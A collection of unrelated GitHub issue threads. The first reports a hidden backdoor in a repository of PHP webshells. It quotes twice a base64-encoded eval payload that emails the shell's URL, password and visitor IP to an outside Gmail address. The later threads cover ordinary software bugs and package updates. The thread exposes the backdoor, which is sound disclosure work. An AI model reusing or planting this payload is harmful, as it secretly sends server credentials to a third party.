$wsobuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjYgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgib2t5YXp1QGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";   eval(base64_decode($wsobuff));  when i decode it i see mail() function to send (path ,password ,visitor ip) to this email<EMAIL_ADDRESS>@mail("okyazu@gmail.com",$judul,$body,$auth_pass);

what the webshell ？？ url or name   ,i del it

Same with this issue
https://github.com/tennc/webshell/issues/20

Found.
https://github.com/tennc/webshell/blob/e872dddc4116ebc06ea8c9fd604eb2bb8e2e4c19/php/404.php.txt

👍

@tennc yep, look at line 75-76.
$wsobuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjYgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgib2t5YXp1QGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
eval(base64_decode($wsobuff));

@aancw thank you， i use

commented out codes

Why don't you just delete that code?

@aancw  easy to query later for everybody

Ah i see, i think you can close this issue.

yes    :） :+1:

@aancw More than likely so it can be easily uncommented again at a later date without as much scrutiny - whereas if it had been deleted, re-adding such a large code-block later would raise some flags and cause people to look at the code more closely.
The excuse of "easy to query later for everybody" doesn't make sense, as git keeps history, so anyone could easily query the git commit prior to the removal if they want to see the code.

Infact  a  pretty  big  deal  I would say, just toticed the thread was
closed  so  I  had  to  look  into closed threads and there I see most
threads are regarding hidden back doors.
Are  theese  webshells  collected or maintained, seems only logical to
assume they all have backdoors except those already detected.
That  being  said,  not  everyone  has time and effort to keep up with
maintenance   of  their  repos  though  but  agreed  on  the  removal,
definatelty important to do and commit unless the repository owner has
an advantage of the back doors being there?
If your dealing with back door webshells I guess you must expect being
attempted  backdoored  all  over the place - these scripts are in most
cases  very  dangerous  to even play with if not having extremely good
oversight!
Mvh,
Kim Steinhaug
<EMAIL_ADDRESS>----- Opprinnelig melding fra tirsdag 11. september 2018 -----

@aancwMore than likely so it can be easily uncommented again at a
later date without as much scrutiny - whereas if it had been
deleted, re-adding such a large code-block later would raise some
flags and cause people to look at the code more closely.
The excuse of "easy to query later for everybody" doesn't make
sense, as git keeps history, so anyone could easily query the git
commit prior to the removal if they want to see the code.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.
{"api_version":"1.0","publisher":{"api_key":"05dde50f1d1a384dd78767c55493e4bb","name":"GitHub"},"entity":{"external_key":"github/tennc/webshell","title":"tennc/webshell","subtitle":"GitHub
repository","main_image_url":"https://assets-cdn.github.com/images/email/message_cards/header.png","avatar_image_url":"https://assets-cdn.github.com/images/email/message_cards/avatar.png","action":{"name":"Open
in
GitHub","url":"https://github.com/tennc/webshell"}},"updates":{"snippets":[{"icon":"PERSON","message":"@stevesbrain
in #27: @aancw More than likely so it can be easily uncommented
again at a later date without as much scrutiny - whereas if it had
been deleted, re-adding such a large code-block later would raise
some flags and cause people to look at the code more
closely.\r\n\r\nThe excuse of "easy to query later for everybody"
doesn't make sense, as git keeps history, so anyone could easily
query the git commit prior to the removal if they want to see the
code."}],"action":{"name":"View
Issue","url":"https://github.com/tennc/webshell/issues/27#issuecomment-420116970"}}}[
{ "@context": "http://schema.org", "@type": "EmailMessage",
"potentialAction": { "@type": "ViewAction", "target":
"https://github.com/tennc/webshell/issues/27#issuecomment-420116970",
"url":
"https://github.com/tennc/webshell/issues/27#issuecomment-420116970",
"name": "View Issue" }, "description": "View this Issue on GitHub",
"publisher": { "@type": "Organization", "name": "GitHub", "url":
"https://github.com" } }, { "@type": "MessageCard", "@context":
"http://schema.org/extensions", "hideOriginalBody": "false",
"originator": "AF6C5A86-E920-430C-9C59-A73278B5EFEB", "title": "Re:
[tennc/webshell] Hidden Backdoor (#27)", "sections": [ { "text": "",
"activityTitle": "Steve Divskinsy", "activityImage":
"https://assets-cdn.github.com/images/email/message_cards/avatar.png",
"activitySubtitle": "@stevesbrain", "facts": [  ] } ],
"potentialAction": [ { "name": "Add a comment", "@type":
"ActionCard", "inputs": [ { "isMultiLine": true, "@type":
"TextInput", "id": "IssueComment", "isRequired": false } ],
"actions": [ { "name": "Comment", "@type": "HttpPOST", "target":
"https://api.github.com", "body": "{\n"commandName":
"IssueComment",\n"repositoryFullName":
"tennc/webshell",\n"issueId": 27,\n"IssueComment":
"{{IssueComment.value}}"\n}" } ] }, { "targets": [ { "os":
"default", "uri":
"https://github.com/tennc/webshell/issues/27#issuecomment-420116970"
} ], "@type": "OpenUri", "name": "View on GitHub" }, { "name":
"Unsubscribe", "@type": "HttpPOST", "target":
"https://api.github.com", "body": "{\n"commandName":
"MuteNotification",\n"threadId": 371649711\n}" } ], "themeColor": "26292E" } ]


When I  install luarocks in Ubuntu, I came across a problem

Error: /usr/local/lib/luarocks/rocks-5.3 does not exist and your user does not have write permissions in /usr/local/lib
-- you may want to run as a privileged user or use your local tree with --local.
How to solve it?
Thanks in advance.

https://github.com/luarocks/luarocks/wiki/Installation-instructions-for-Unix
I follow this website commands with the purpose of installing luarocks.

Hey,
Check this docker image I created for running dense cap in gpu!
https://hub.docker.com/r/jainal09/densecap_gpu

For Cpu version.
Use this docker file for torch installation!
https://github.com/runwayml/alpha_models/blob/master/densecap/Dockerfile

Hey,
Check this docker image I created for running dense cap in gpu!
https://hub.docker.com/r/jainal09/densecap_gpu

Thanks

For Cpu version.
Use this docker file.
https://github.com/runwayml/alpha_models/blob/master/densecap/Dockerfile

Thanks

Hey,
Check this docker image I created for running dense cap in gpu!
https://hub.docker.com/r/jainal09/densecap_gpu

Thanks


Update pytorch dep, and fix linter issues

Checklist

[x] Used a personal fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

Update the pytorch dep per #44 and fix linter issues. I've also removed the <3.7 Python version restriction, as that seemed outdated, compared to the Python versions upstream is testing as of the current release.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe/meta.yaml) and found it was in an excellent condition.

@mgorny - do you want to add yourself as a maintainer here and ask conda-forge/core to merge? It seems like the feedstock has been unmaintained for a while.

@mgorny - do you want to add yourself as a maintainer here and ask conda-forge/core to merge? It seems like the feedstock has been unmaintained for a while.

No. Just doing janitorial work, no real clue about the package in question.


Reading a cookie value results in the cookie beeing set again

What version of Elysia is running?
1.1.17
What platform is your computer?
Linux <IP_ADDRESS>-microsoft-standard-WSL2 x86_64 unknown
What steps can reproduce the bug?
When reading a cookie that is present a set-cookie header is added to the response, even when no new cookie value is set.
To reproduce just create a new Elysia project (bun create elysie) and copy the following code into src/index.ts
import { Elysia } from 'elysia';

new Elysia()
	.get('/', () => 'Hello Elysia')

	.get('/set', ({ cookie: { test } }) => {
		test.value = Math.random().toString();

		return {
			value: test.value,
		};
	})
	.get('/get', ({ cookie: { test } }) => {
		return {
			value: test.value,
		};
	})

	.listen(3000, (server) => {
		console.log(`🦊 Elysia is running at ${server.url}`);
	});

Steps to reproduce:

visit http://localhost:3000/get -> set-cookie header is not present
visit http://localhost:3000/set -> set-cookie header is present
visit http://localhost:3000/get -> set-cookie header is present

What is the expected behavior?
The cookie is not set again
What do you see instead?
The cookie is set again.
Additional information
The session cookie i use in my session service gets set over and over. That itself is not that big of a deal in terms of functionality, but due to missing informations about the cookie lifetime for example the cookie is always set using the default options (no path, no domain, no secure, no httpOnly, ...).
Have you try removing the node_modules and bun.lockb and try again yet?
yes

I'm also having this issue causing my app to log out every time the cookie is modified invalidly. The Set-Cookie header should only be set if either my_cookie.set(...) or my_cookie.value setter was called.

I can confirm this. Using the JWT plugin will reset the cookie attributes when doing any request after initially setting the token.

I'm having the same

I believe this was caused by this change: https://github.com/elysiajs/elysia/commit/61096846ecf37b481231de3c5ff754355313c903#diff-301d6ef66e0eb85d411eb60d0fc8122c687bdf6defeda688c48cf076084ec128R136

Same issue

Same issue here, i have double cookie when try to read via jwt plugin. the second plugin is being set with Session Expires

I'm having the same

Any chance this gets fixed soon? This issue does make elysia unusable for us.

Resolved in 1.1.22, you're goated


add filter component and functionality

Summary:

What did I do?

Enabled the STAC catalog dropdown to allow possibility for visualizing data from multiple catalogs
Identified which collections in a catalog have assets, using that as a qualifier to determine if those collections have COGs that can be displayed (based on current - semi-limited lib functionality)
Added checkbox to control whether STAC collections in dropdown should be filtered (or not)
Consolidated code to set/refresh available collection items (in dropdown)

Why *** did I do it? (What was the motivation?)

This was a (June 23) UWG request, to enhance the UI experience

How *** can someone test or demo my changes?

Open the STAC widget and toggle the collections filter checkbox

https://github.com/MAAP-Project/stac_ipyleaflet/assets/18629881/b82b653a-22d8-4e6b-98c4-9c8ab38f4277
Fixes or Addresses Issue #: #66
Checklist before requesting a review:

[x] My code follows the guidelines of this project
[x] I  performed a self-review of my code changes
[x] I have completed spell-checking, removed unnecessary print statements & commented-out code
[x] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] New and existing unit tests pass locally with my changes

Nice job on getting this quickly done 🙌🏼
💭 🧪 : I'm wondering when do we want to start adding tests with our changes in PRs? This change looks like it would be a good candidate to unit test but we dont have testing set up right now. I'm worried we would keep adding code and functionality creating a longer list of things to test in the future. Should we just start adding tests to our PR or we can come together and think of how to start implementing tests real soon!

Nice job on getting this quickly done 🙌🏼
💭 🧪 : I'm wondering when do we want to start adding tests with our changes in PRs? This change looks like it would be a good candidate to unit test but we dont have testing set up right now. I'm worried we would keep adding code and functionality creating a longer list of things to test in the future. Should we just start adding tests to our PR or we can come together and think of how to start implementing tests real soon!

You're absolutely right - we should start integrating tests before the backlog of testing increases further. I do think this feature makes good progress in the interest of the sprint, so perhaps we can pause on implementing other features, and continue our focus to tidy-up: including testing, and perhaps some of the UI improvements we'll talk about later today.


FLASK_APP=hello.py incorrect

FLASK_APP=hello.py is incorrect and does not work.
FLASK_APP=app.py works if you execute "flask run" within the 'app' folder.

Thanks for raising this @markwkiehl
I've amended the blog post text 👍


Problem with gnucash file conversion

I compiled latest gnucash (2.6.16)  from source with dbi conversion enabled. From gnucash  I could save as sqlite3 but the files were saved as "myfile.gnucash"  not "myfile.sqlite3".  But I don't know whether it will have sqlite3 extension in the first place when saved. Anyway, I went ahead and ran the python script  "gnucash2ledger.py"     downloaded from "https://github.com/MatzeB/pygnucash"  in the following manner:
python2.7  gnucash2ledger.py myfile.gnucash print > test.txt
The error came through is as follows:
Traceback (most recent call last):
File "gnucash2ledger.py", line 35, in
data = gnucash.read_file(sys.argv[1])
AttributeError: 'module' object has no attribute 'read_file'
I noticed in the script page that it says that it requires python 2.7 with sqlite3 module enabled.  After some search I did the following to enable sqlite3:
sudo apt-get install sqlite3 libsqlite3-dev
sudo pip install pysqlite
But no luck so far.

Hmm odd. The only way I could explain this behavior is if there is some other python package on your system called "gnucash". As an experiment could you start python2.7 somewhere outside(!) the pygnucash and type "import gnucash". This results in "ImportError: No module named gnucash" if it simply works then it would be interesting to do "gnucash.file" to learn where the other gnucash python module is coming from.

I also installed a package called python-gnucash. Otherwise, it produced the following error:
Traceback (most recent call last):
File "gnucash2ledger.py", line 6, in
import gnucash
ImportError: No module named gnucash
After I installed python-gnucash, the above error was gone but the above mentioned error  occurred.


Add log/level to Gopkg.lock

This was added after running dep ensure again.
This should've been there before already, not really sure how things were working :)
Maybe it's a new version of dep adding this?

Not sure what happened there. But I noticed in https://github.com/kinvolk/habitat-operator/pull/63 you have https://github.com/kinvolk/habitat-operator/pull/63/commits/7d08051c5a72686ec5a6967d4d97274a3e34d045 Do you want to close this one or remove the commit there?

Let's merge this and see how hard it is to resolve the conflict :)


the  bind  and  unbind  in the Fragment

i want  to know  whether need to  unbind  the view in Fragment ,sometimes, get the http result after onDestoryView,if i unbind the view will happen null exception,

Yes. Unbind in onDestroyView. Otherwise you are leaking those objects. If a request response is delivered after this callback you need to ignore it or persist it somewhere for use when the view comes back.


Bump upstream to 0.5.3 and adjust RBAC

I also deleted release 0.5.3 from the changelog cc @fiunchinho

I also deleted release 0.5.3 from the changelog cc @fiunchinho

So we need to remove the 0.5.3 tag on this repo?

I also deleted release 0.5.3 from the changelog cc @fiunchinho

So we need to remove the 0.5.3 tag on this repo?

I guess

ok let's do that

ok let's do that

done


Action can't find the artifact

The action does not work because it cannot find the artifact. To reproduce, see https://github.com/MarkLodato/example-build and an example run. The slsa-framework/github-actions-demo@v1 step fails with the following error:
Resource path not found: [provided=bazel-bin/hello_/hello]

(This step has continue-on-error: true so the rest of the workflow succeeds.)
The file definitely exists and is picked up correctly by the upload-artifact step.

Lemme see what's going on.

Feels like something weird is going on? Or I'm missing something?
https://github.com/loosebazooka/example-build/runs/2908688176?check_suite_focus=true (Expand Run find .)
There doesn't appear to be a bazel-bin/hello_/hello in there?

blaze-* are symlinks. You need to use find -L. Or you can use ls -l bazel-bin/hello_hello.

ah maybe the go code also doesn't follow symlinks

Oh yeah this is definitely the case. I'll fix that.

Ugh. So while I didn't implement symlink resolution when walking a directory provided as the artifact path, the example workflow here uses a file so that shouldn't be an issue.
There is, however, a more frustrating issue going on here with containers and symlinks.
Problem
GitHub Actions runs our provenance generator in a container as follows:
/usr/bin/docker run \
  --workdir /github/workspace \
  -v "/home/runner/work/example-build/example-build":"/github/workspace" \
  -v "/home/runner/work/_temp/_github_home":"/github/home" \
  --artifact_path bazel-bin/hello_/hello \
  --output_path hello.provenance

The -v volume mount means our bazel directories should be present as follows:
bazel-bin -> /home/runner/work/_temp/_github_home/.cache/bazel/...```

However the home directory in the container isn't mounted as /home/runner/work/_temp/_github_home but rather /github/home. This breaks the symlink in the container and causes us to get a ENOENT when we try to load the file.
This behavior seems to be corroborated by others: obligatory SO link
Solution
Aside from telling people to avoid symlinks (i.e. by copying files), I'm not sure there's a great solution here. I may be able to add something to detect broken symlinks to improve the error message on our end but the core issue wouldn't really be addressable by us.

An alternative solution would be to reimplement in JavaScript so that you don't need a container at all.


dynamic-stack-buffer-overflow in jerry_value_is_syntax_error

Jerry version:
Checked revision: 6b1ed6e0
Build command: CC=clang ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --jerry-libc=off --static-link=off --lto=off --error-messages=on

OS:
Ubuntu 17.10
macOS High Sierra (10.13.1)

Test case:
It seems that jerry produces the same failure with any kind of syntax errors when compiling it with clang. E.g.:
function a() {

Backtrace:
=================================================================
==1467==ERROR: AddressSanitizer: dynamic-stack-buffer-overflow on address 0xff934fcb at pc 0x080abfde bp 0xff934f88 sp 0xff934b60
READ of size 12 at 0xff934fcb thread T0
    #0 0x80abfdd in __interceptor_strcmp.part.32 crtstuff.c:?
    #1 0x816f8e3 in jerry_value_is_syntax_error jerryscript/jerry-main/main-unix.c:122
    #2 0x816e8e9 in print_unhandled_exception jerryscript/jerry-main/main-unix.c:154 (discriminator 1)
    #3 0x816d99f in main jerryscript/jerry-main/main-unix.c:790
    #4 0xf7be3985 in __libc_start_main ??:?
    #5 0x806e177 in _start ??:?

I'll check it.

#2095 is landed. This issue can be closed.


Add params for Superhuman

Noticed that these were missing which would cause Superhuman to just open to the inbox even if you called openComposer. Tested each of these params and they work as expected with Superhuman.

Released as part of<EMAIL_ADDRESS>


Reproduce reported LORA16bit result on GSM8K

Hello,
Great work! I want to reproduce the reported LoRA(16bit) result(36.9) on GSM8K dataset in your paper.
Could you provide the correct script or more detailed hyper-parameters? Thx a lot!

Hi @callanwu, please try https://github.com/yxli2123/LoftQ/blob/main/scripts/train_gsm8k.sh#L62

Thx a lot～ I will try it！


build-farm: Set Boot/build JDK to JDK11 for riscv

ref: #1577 , https://ci.adoptopenjdk.net/job/build-scripts/job/jobs/job/jdk11u/job/jdk11u-linux-riscv-openj9/1/console
Unfortunately, the riscv JDK11 job didn't work last night as it appears that the boot and build jdk need to be set to the same JDK that you're trying to build. This can also be seen on the standalone riscv-jdk11 job before this was put into the nightlies: https://ci.adoptopenjdk.net/job/jdk11-linux-riscv-openj9-build/51/
This PR just ensures the the boot and build JDK is set to JDK11. As we currently only build JDK11 on risc-v, hardcoding it to JDK11 isn't an issue currently, however may be an issue down the line, if we can start building other JDKs.
ping @sxa @gdams

Doesn't look liek I have the authority to edit your PR to effect this change so it'll need to wait until tomorrow

Superceded - closing


Zero value wall times cause backend failures when spans are uploaded

Describe the bug
Please see https://github.com/spring-projects/spring-boot/issues/38579 for background.
Environment

Micrometer version 1.12.0

To Reproduce
How to reproduce the bug:
See reproducer in linked issue.
Expected behavior
The JSON payload does not include invalid timestamps:
  {
    "traceId": "XXXX",
    "parentId": "XXXX",
    "id": "XXXX",
    "kind": "CLIENT",
    "name": "connection",
    "timestamp":<PHONE_NUMBER>598046,
    "duration": 6111,
    "localEndpoint": {
      "serviceName": "XXXX",
      "ipv4": "XXXX"
    },
    "annotations": [
      {
        "timestamp": 0,
        "value": "\"acquired\":{}"
      },
      {
        "timestamp": 0,
        "value": "\"commit\":{}"
      }
    ],
    "tags": {
      "jdbc.datasource.driver": "org.postgresql.Driver",
      "jdbc.datasource.pool": "HikariPool-1",
      "otel.library.name": "org.springframework.boot",
      "otel.library.version": "3.2.0",
      "otel.scope.name": "org.springframework.boot",
      "otel.scope.version": "3.2.0"
    }
  },

Additional context
In 1.12.0 the Observation.Event.getWallTime() method was added with a default return of 0. Users that call Event.of will have an event that includes the correct walltime, but users that implement Event directly will always return 0.
These 0 values are not valid and should not be passed to the backend.

Fixed by https://github.com/micrometer-metrics/tracing/pull/487


Add 'outerStrokeWidth' to allow user change radio outer stroke width

This is a nice idea, but we're going to need some more things here, starting with a test, as the bot message above mentions.
Also, consider putting something like this on the RadioThemeData and using that value unless an explicit value is specified.

Since there hasn't been any activity on this PR in a while, we're going to close it for now.  If you start work on this again, feel free to open a new PR.


Add mdx support

What does this PR do and why?
Support for MDX (and Markdown) in Project descriptions.
This allows for embedding of components like:
# Project heading 1
- this is
- a list

<YouTube youtubeId="GoltwBHXCx8" />

Even more advanced components could be added:
<Poll questions={["define questions here"]} />

https://juicebox.notion.site/Allow-video-embeds-in-project-3470d259ab26418eafd9195acbc7885d
Sugggestion to use MDX
https://discord.com/channels/775859454780244028/786985806396784690/929072517434454027
Screenshots or screen recordings

Acceptance checklist

[x] I have evaluted the Approval Guidelines for this PR.

@carlbarrdahl this is awesome! Thanks for this contribution 🙏 . Love me some markdown.
I think we may need to consider the design of the project page a little more closely before we proceed with this. Because the user has a lot more control of their project description, we will lose consistency in the design across project pages. As it stands now, things like headings, bullet-points etc. might look a bit funky.
I definitely see the value in allowing the user to provide a more details description though. There's been some thinking around how we might improve the project page with a tab-based layout. As an example, I an imagine an Overview tab where the users' MDX-defined description would be rendered.
Keen to hear others thoughts about this PR though. The solution you've proposed looks perfect - I just think we need to consider the UI implications more closely 👍

Thank you @aeolianeth!
I totally understand the considerations for consistency. Let me know if I can help out in any way.
Just want to mention that it's possible to define how each of the markdown rendered components should look like here:
https://github.com/jbx-protocol/juice-interface/blob/83f14d60469fc2aac34dc6a3e4f744d9ff900558/src/components/shared/MDXViewer.tsx#L10-L14
For example with antd components:
import { Image, Typography } from 'antd';

const components: MDXComponents | any = {
  YouTube,
  h1: props => <Typography.Title level="h1" {...props} />,
  img: props => <Image {...props} />
  ul: props => ...,
}

This makes it fairly straightforward styling the html components rendered from the markdown.

@carlbarrdahl is there a way to restrict MDX such that only <Youtube /> (or another video element) is supported?
We'll need more time to consider a full-blown markdown description in the context of the project page UI, but I think we can aim to get video embed shipped ASAP. What do you think?

@aeolianeth Fixed!
Project description:

Rendered:

https://github.com/jbx-protocol/juice-interface/blob/515f921c29f227d35dbfc6ed89975301a2f880a6/src/components/shared/MDXViewer.tsx#L42-L47

I have given this a bit more thought.
One concern is how to communicate this convention to users of adding a video with: <YouTube youTubeId="<id>" /> in the project description.
It would be a lot better UX to just paste the link in the description: https://www.youtube.com/watch?v=. The text could then be regexped for urls matching youtube (and other providers) and then embed.
Here are two that does this with remark:
https://github.com/remark-embedder/transformer-oembed
https://github.com/sergioramos/remark-oembed
However they are requesting cors resources (https://oembed.com/providers.json and https://www.youtube.com/oembed?url=https://www.youtube.com/watch?v=) so it doesn't work in browsers.
Another option would be to not use MDX at all for now and just regexp the project description and render an iframe:
<iframe
  width="853"
  height="480"
  src="https://www.youtube.com/embed/<id>"
  frameBorder="0"
  allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
  allowFullScreen
/>

I guess it very much depends on what kind of direction you want to take for the future.
The MDX route could enable some really cool widgets for project pages but it might also confuse the users unless communicated in a clear way, probably with lots of examples).
What are your thoughts?

@carlbarrdahl sorry for the delay here! Will get back to you tomorrow (UTC+10)

@carlbarrdahl thanks for your patience!
Here's my thoughts on MDX: I can definitely see this being in the product one day, but as it stands I feel that it might not be suitable. The Project page isn't flexible enough to accommodate much stylistic variety in descriptions, so I worry that the project-to-project experience may suffer. As you point out, there is also an educational piece that comes along with it. There is a Notion task to improve the project page, so I would encourage you to drop a link to this proof-of-concept in there - I think we should definitely keep it in mind: https://www.notion.so/juicebox/Improve-UI-for-individual-project-page-9d7d7dcf10c84c088d5a3cb7e21946c2
As for what to do about video embeds in the short-term, I think your Iframe idea is much more tenable. There are a few considerations here that we'd still have to iron out - will we build the iframe ourself and get the video link for the user, or will we let the user drop a HTML snippet in (and how do we do this securely), for example - but these are answerable questions!
cc @peripheralist @JayZeeDesign for additional thoughts

@aeolianeth Thanks for your input! I added the link here to the notion page.
Perhaps a better use-case would be a full-blown landing page for the project that acts more as a promotional information page rather than interacting with the juicebox smart contracts (could do that as well of course).
A powerful combination might be to use system-UIs theme specification for the visual appereance of the page with MDX for describing content and widgets.
I would be interested in building such proof of concept if it would be of interest to the project.
Here's a post I made in the #dev channel about Custom layout themes
https://discord.com/channels/775859454780244028/786985806396784690/929705828393553940
https://www.notion.so/juicebox/Custom-layout-themes-48e54aa6f7eb48679fd37461add1928f
Relevant links

https://github.com/system-ui/theme-specification
https://chakra-ui.com/docs/theming/theme
https://reflexjs.org

Niiice @carlbarrdahl! Really liking the sound of everything you've said. the Design channel in Discord would be the best place to start a discussion around landing pages 🚀

Thanks for the summary @carlbarrdahl. Let's close this PR for now and revisit in the future!


mysql_jdbc: 5.1.59 -> 8.0.31

Description of changes
Fixes CVE-2019-2692.
https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-whats-new.html
https://dev.mysql.com/doc/relnotes/connector-j/8.0/en/

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review run on x86_64-linux 1

7 packages built:

atlassian-bamboo
atlassian-confluence
jboss_mysql_jdbc
liquibase
mysql_jdbc
squirrel-sql
tomcat_mysql_jdbc

I tested to connect to MySQL DB using Squirrel SQL, I did not encounter any issues.

Do we have a patch for 22.11 @LeSuisse ? I can merge this for unstable.

I don't, this is a binary package so we cannot really patch it.

@LeSuisse So I don't think we can backport it to 22.11, except if we are certain it will not cause backward compat breakages.
All we can do is mark mysql_jdbc as knownVulnerabilities in 22.11 I think?

Alternatively for 22.11 we tag mysql_jdbc with knownVulnerabilities and we add a mysql_jdbc8 package that we can use for the dependents. It will see what I can do tomorrow or this week end.

Vulnerability in the MySQL Connectors component of Oracle MySQL (subcomponent: Connector/J). Supported versions that are affected are 8.0.15 and prior. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where MySQL Connectors executes to compromise MySQL Connectors. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of MySQL Connectors.

I think we could leave 22.05 and 22.11 as is. Why?

Difficult to exploit
Only for highly privileged attackers
Attacker needs to fool someone into complying

Maybe we could also think about replacing this with https://mariadb.com/kb/en/about-mariadb-connector-j/

Yeah we can probably just skip the backport in stable.

If we intend to go for the backport we need to test as many apps as possible, because regressions in apps like keycloak, jira, confluence will be highly problematic.

I might be missing something but it does not look like too many apps are affected. I'm guessing most of them retrieve it via their package manager?
Still there is at least Bamboo and Confluence which are quite big where it is not easy to do thorough checks.

Maybe we could also think about replacing this with https://mariadb.com/kb/en/about-mariadb-connector-j/

No personal opinion on this, I have no real skin in the Java game.


Host rendered lightbulb content so it is more easily viewed and navigated.

The lightbulb repo houses various bits of content such as workshops assignments, guides that are in markdown format in addition to slide decks in Reveal.js HTML. The view in the repo is suboptimal and is hard to navigate. Pulling down the content and manually building it to view in a browser requires too much effort. This issue aims to resolve that by automation the rendering and publishing of the latest lightbulb content.

@tima this is done on network-automation/lightbulb, can you assign this issue to both of us and we can sync on it

Done @IPvSean. We need to coordinate with @jvanpelt on this also.


ci: set proper permission for preview job

:tada: This PR is included in version 0.0.20 :tada:
The release is available on:

v0.0.20
GitHub release

Your semantic-release bot :package::rocket:


ModeFanService and ModeDryService switch names not set

The switches for ModeFanService and ModeDryService are titled "Switch" and "Switch 2" in the Apple Home app. It appears that the names are not properly set, hence they receive default names.

After some iOS update, predefined service names are no longer used. Its always getting default names. And this happend to all HomeKit apps, not only Apple Home


Can´t add devices

Was it discovered automatically? If not, check the bluetooth logs to see discovered devices. I’m guessing it’s out of range…

Out of range is possible. I have to check it.

I couldn´t find bluetooths logs. Where is it?

I have a similar issue. It turns out I  had somehow gotten the fan in a buggy state where neither the phone app would find it nor HA. Power cycling the fan fixed it and it was automatically discovered then. Something easy to try if the phone app works at that distance or if a power cycle helps

@zlakes01 Under "Bluetooth" and your adapter - select "Download diagnostics" or similar. This should show all discovered devices and signal strength (RSSI). Not sure how reliable that value is though.
@ivoh95 I have experienced the same thing once. But I've been doing lots of connecting/reconnecting while testing, so I'm not surprised that it was too much for the fan :)

It works after an update of Core. I see all three Pax Calima and can manage them.

May I chime in with a question here? I've had this integration working just fine for a long time (6+ months) and then I had to move my server a couple of meters sideways (yeah, it wasn't really pretty where I had it originally). Technically, it's actually slightly closer than before, though there is a bit more metal in the "line of sight" (two floors up partly through cement floor).
Interestingly, my io9 toothbrush is actually somewhat closer, but never had any issue. Anyway, after the move it went very glitchy so I tried to remove it in order to start over - bad idea I guess because now it pops up as a new device every day or so, but I never managed to reconnect it again. For kicks I tried installing a ESP32 M5Stack Atom Lite BT proxy which appears to make all the right moves, but still no connection. Do you @eriknn know whether it should be able to handle the Calima? Their app works fine and I can't really say I need this integration much, I'm just sad it worked fine before the move and now it fails utterly.

Sorry but I don’t know much about BT extenders, so I can really help you.
If the connection is that bad I would recommend using the ignore-function on the discovery, that should at least make it leave you alone :)


UI internacionalization

The captive-portal UI in many languages. At least English, Spanish and Portuguese to start off.

Did you put all languages in one file for ease of programming? I think translation will be easier if each language is in a separate file, though maybe translatewiki.net can handle the single-file format.

Current internationalization is very basic, as the portal is very simple JS, so it currently simply lives in one single JS file (int.js). When we get to #19 LimeApp has a better structure for translations.


feat: Add more gorm-driver

